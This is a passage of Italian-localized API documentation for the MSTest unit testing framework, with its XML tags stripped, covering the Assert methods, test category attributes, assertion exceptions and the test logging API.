- - Restituisce un oggetto GenericParameterHelper uguale a - quello corrente. - - Oggetto clonato. - - - - Consente agli utenti di registrare/scrivere tracce degli unit test per la diagnostica. - - - - - Gestore per LogMessage. - - Messaggio da registrare. - - - - Evento di cui rimanere in ascolto. Generato quando il writer di unit test scrive alcuni messaggi. - Utilizzato principalmente dall'adattatore. - - - - - API del writer di test da chiamare per registrare i messaggi. - - Formato stringa con segnaposto. - Parametri per segnaposto. - - - - Attributo TestCategory; usato per specificare la categoria di uno unit test. - - - - - Inizializza una nuova istanza della classe e applica la categoria al test. - - - Categoria di test. - - - - - Ottiene le categorie di test applicate al test. - - - - - Classe di base per l'attributo "Category" - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inizializza una nuova istanza della classe . - Applica la categoria al test. Le stringhe restituite da TestCategories - vengono usate con il comando /category per filtrare i test - - - - - Ottiene la categoria di test applicata al test. - - - - - Classe AssertFailedException. Usata per indicare un errore per un test case - - - - - Inizializza una nuova istanza della classe . - - Messaggio. - Eccezione. - - - - Inizializza una nuova istanza della classe . - - Messaggio. - - - - Inizializza una nuova istanza della classe . - - - - - Raccolta di classi helper per testare diverse condizioni - negli unit test. Se la condizione da testare non viene soddisfatta, - viene generata un'eccezione. - - - - - Ottiene l'istanza singleton della funzionalità Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Verifica se la condizione specificata è true e genera un'eccezione - se è false. - - - Condizione che il test presuppone sia true. - - - Thrown if is false. - - - - - Verifica se la condizione specificata è true e genera un'eccezione - se è false. - - - Condizione che il test presuppone sia true. - - - Messaggio da includere nell'eccezione quando - è false. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is false. - - - - - Verifica se la condizione specificata è true e genera un'eccezione - se è false. - - - Condizione che il test presuppone sia true. - - - Messaggio da includere nell'eccezione quando - è false. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is false. - - - - - Verifica se la condizione specificata è false e genera un'eccezione - se è true. - - - Condizione che il test presuppone sia false. - - - Thrown if is true. - - - - - Verifica se la condizione specificata è false e genera un'eccezione - se è true. - - - Condizione che il test presuppone sia false. - - - Messaggio da includere nell'eccezione quando - è true. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is true. - - - - - Verifica se la condizione specificata è false e genera un'eccezione - se è true. - - - Condizione che il test presuppone sia false. - - - Messaggio da includere nell'eccezione quando - è true. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is true. - - - - - Verifica se l'oggetto specificato è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone sia Null. - - - Thrown if is not null. - - - - - Verifica se l'oggetto specificato è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone sia Null. - - - Messaggio da includere nell'eccezione quando - non è Null. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is not null. - - - - - Verifica se l'oggetto specificato è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone sia Null. - - - Messaggio da includere nell'eccezione quando - non è Null. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not null. - - - - - Verifica se l'oggetto specificato non è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone non sia Null. - - - Thrown if is null. - - - - - Verifica se l'oggetto specificato non è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone non sia Null. - - - Messaggio da includere nell'eccezione quando - è Null. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is null. - - - - - Verifica se l'oggetto specificato non è Null e genera un'eccezione - se non lo è. - - - Oggetto che il test presuppone non sia Null. - - - Messaggio da includere nell'eccezione quando - è Null. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is null. - - - - - Verifica se gli oggetti specificati si riferiscono entrambi allo stesso oggetto e - genera un'eccezione se i due input non si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore previsto dal test. - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Thrown if does not refer to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono entrambi allo stesso oggetto e - genera un'eccezione se i due input non si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore previsto dal test. - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if does not refer to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono entrambi allo stesso oggetto e - genera un'eccezione se i due input non si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore previsto dal test. - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if does not refer to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono a oggetti diversi e - genera un'eccezione se i due input si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Thrown if refers to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono a oggetti diversi e - genera un'eccezione se i due input si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if refers to the same object - as . - - - - - Verifica se gli oggetti specificati si riferiscono a oggetti diversi e - genera un'eccezione se i due input si riferiscono allo stesso oggetto. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if refers to the same object - as . - - - - - Verifica se i valori specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore previsto dai test. - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Thrown if is not equal to . - - - - - Verifica se i valori specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore previsto dai test. - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se i valori specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore previsto dai test. - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se i valori specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Thrown if is equal to . - - - - - Verifica se i valori specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se i valori specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - The type of values to compare. - - - Primo valore da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo valore da confrontare. Si tratta del valore prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se gli oggetti specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è l'oggetto previsto dai test. - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Thrown if is not equal to - . - - - - - Verifica se gli oggetti specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è l'oggetto previsto dai test. - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se gli oggetti specificati sono uguali e genera un'eccezione - se sono diversi. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è l'oggetto previsto dai test. - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se gli oggetti specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Thrown if is equal to . - - - - - Verifica se gli oggetti specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se gli oggetti specificati sono diversi e genera un'eccezione - se sono uguali. I tipi numerici diversi vengono considerati - diversi anche se i valori logici sono uguali. 42L è diverso da 42. - - - Primo oggetto da confrontare. Questo è il valore che il test presuppone - non corrisponda a . - - - Secondo oggetto da confrontare. Si tratta dell'oggetto prodotto dal codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se i valori float specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore float da confrontare. Questo è il valore float previsto dai test. - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Thrown if is not equal to - . - - - - - Verifica se i valori float specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore float da confrontare. Questo è il valore float previsto dai test. - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Messaggio da includere nell'eccezione quando - differisce da di più di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se i valori float specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore float da confrontare. Questo è il valore float previsto dai test. - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Messaggio da includere nell'eccezione quando - differisce da di più di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se i valori float specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore float da confrontare. Questo è il valore float che il test presuppone - non corrisponda a . - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Thrown if is equal to . - - - - - Verifica se i valori float specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore float da confrontare. Questo è il valore float che il test presuppone - non corrisponda a . - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Messaggio da includere nell'eccezione quando - è uguale a o differisce di meno di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se i valori float specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore float da confrontare. Questo è il valore float che il test presuppone - non corrisponda a . - - - Secondo valore float da confrontare. Si tratta del valore float prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Messaggio da includere nell'eccezione quando - è uguale a o differisce di meno di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se i valori double specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore double da confrontare. Questo è il valore double previsto dai test. - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Thrown if is not equal to - . - - - - - Verifica se i valori double specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore double da confrontare. Questo è il valore double previsto dai test. - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Messaggio da includere nell'eccezione quando - differisce da di più di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is not equal to . - - - - - Verifica se i valori double specificati sono uguali e genera un'eccezione - se sono diversi. - - - Primo valore double da confrontare. Questo è il valore double previsto dai test. - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - di più di . - - - Messaggio da includere nell'eccezione quando - differisce da di più di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to . - - - - - Verifica se i valori double specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore double da confrontare. Questo è il valore double che il test presuppone - non corrisponda a . - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Thrown if is equal to . - - - - - Verifica se i valori double specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore double da confrontare. Questo è il valore double che il test presuppone - non corrisponda a . - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Messaggio da includere nell'eccezione quando - è uguale a o differisce di meno di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se i valori double specificati sono diversi e genera un'eccezione - se sono uguali. - - - Primo valore double da confrontare. Questo è il valore double che il test presuppone - non corrisponda a . - - - Secondo valore double da confrontare. Si tratta del valore double prodotto dal codice sottoposto a test. - - - Accuratezza richiesta. Verrà generata un'eccezione solo se - differisce da - al massimo di . - - - Messaggio da includere nell'eccezione quando - è uguale a o differisce di meno di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono uguali e genera un'eccezione - se sono diverse. - - - Prima stringa da confrontare. Questa è la stringa prevista dai test. - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. Per il confronto vengono usate le impostazioni cultura inglese non dipendenti da paese/area geografica. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se le stringhe specificate sono diverse e genera un'eccezione - se sono uguali. - - - Prima stringa da confrontare. Questa è la stringa che il test presuppone - non corrisponda a . - - - Seconda stringa da confrontare. Si tratta della stringa prodotta dal codice sottoposto a test. - - - Valore booleano che indica un confronto con o senza distinzione tra maiuscole e minuscole. True - indica un confronto senza distinzione tra maiuscole e minuscole. - - - Oggetto CultureInfo che fornisce informazioni sul confronto specifiche delle impostazioni cultura. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se l'oggetto specificato è un'istanza del tipo previsto - e genera un'eccezione se il tipo previsto non è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone sia del tipo specificato. - - - Tipo previsto di . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato è un'istanza del tipo previsto - e genera un'eccezione se il tipo previsto non è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone sia del tipo specificato. - - - Tipo previsto di . - - - Messaggio da includere nell'eccezione quando - non è un'istanza di . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato è un'istanza del tipo previsto - e genera un'eccezione se il tipo previsto non è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone sia del tipo specificato. - - - Tipo previsto di . - - - Messaggio da includere nell'eccezione quando - non è un'istanza di . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato non è un'istanza del tipo errato - e genera un'eccezione se il tipo specificato è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone non sia del tipo specificato. - - - Tipo che non dovrebbe essere. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato non è un'istanza del tipo errato - e genera un'eccezione se il tipo specificato è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone non sia del tipo specificato. - - - Tipo che non dovrebbe essere. - - - Messaggio da includere nell'eccezione quando - è un'istanza di . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Verifica se l'oggetto specificato non è un'istanza del tipo errato - e genera un'eccezione se il tipo specificato è incluso nella - gerarchia di ereditarietà dell'oggetto. - - - Oggetto che il test presuppone non sia del tipo specificato. - - - Tipo che non dovrebbe essere. - - - Messaggio da includere nell'eccezione quando - è un'istanza di . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Genera un'eccezione AssertFailedException. - - - Always thrown. - - - - - Genera un'eccezione AssertFailedException. - - - Messaggio da includere nell'eccezione. Il messaggio viene - visualizzato nei risultati del test. - - - Always thrown. - - - - - Genera un'eccezione AssertFailedException. - - - Messaggio da includere nell'eccezione. Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Always thrown. - - - - - Genera un'eccezione AssertInconclusiveException. - - - Always thrown. - - - - - Genera un'eccezione AssertInconclusiveException. - - - Messaggio da includere nell'eccezione. Il messaggio viene - visualizzato nei risultati del test. - - - Always thrown. - - - - - Genera un'eccezione AssertInconclusiveException. - - - Messaggio da includere nell'eccezione. Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Always thrown. - - - - - Gli overload di uguaglianza statici vengono usati per confrontare istanze di due tipi e stabilire se - i riferimenti sono uguali. Questo metodo non deve essere usato per il confronto di uguaglianza tra due - istanze. Questo oggetto verrà sempre generato con Assert.Fail. Usare - Assert.AreEqual e gli overload associati negli unit test. - - Oggetto A - Oggetto B - Sempre false. - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Matrice di parametri da usare quando si formatta . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Matrice di parametri da usare quando si formatta . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Tipo di eccezione che dovrebbe essere generata. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione - - AssertFailedException - - se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - che 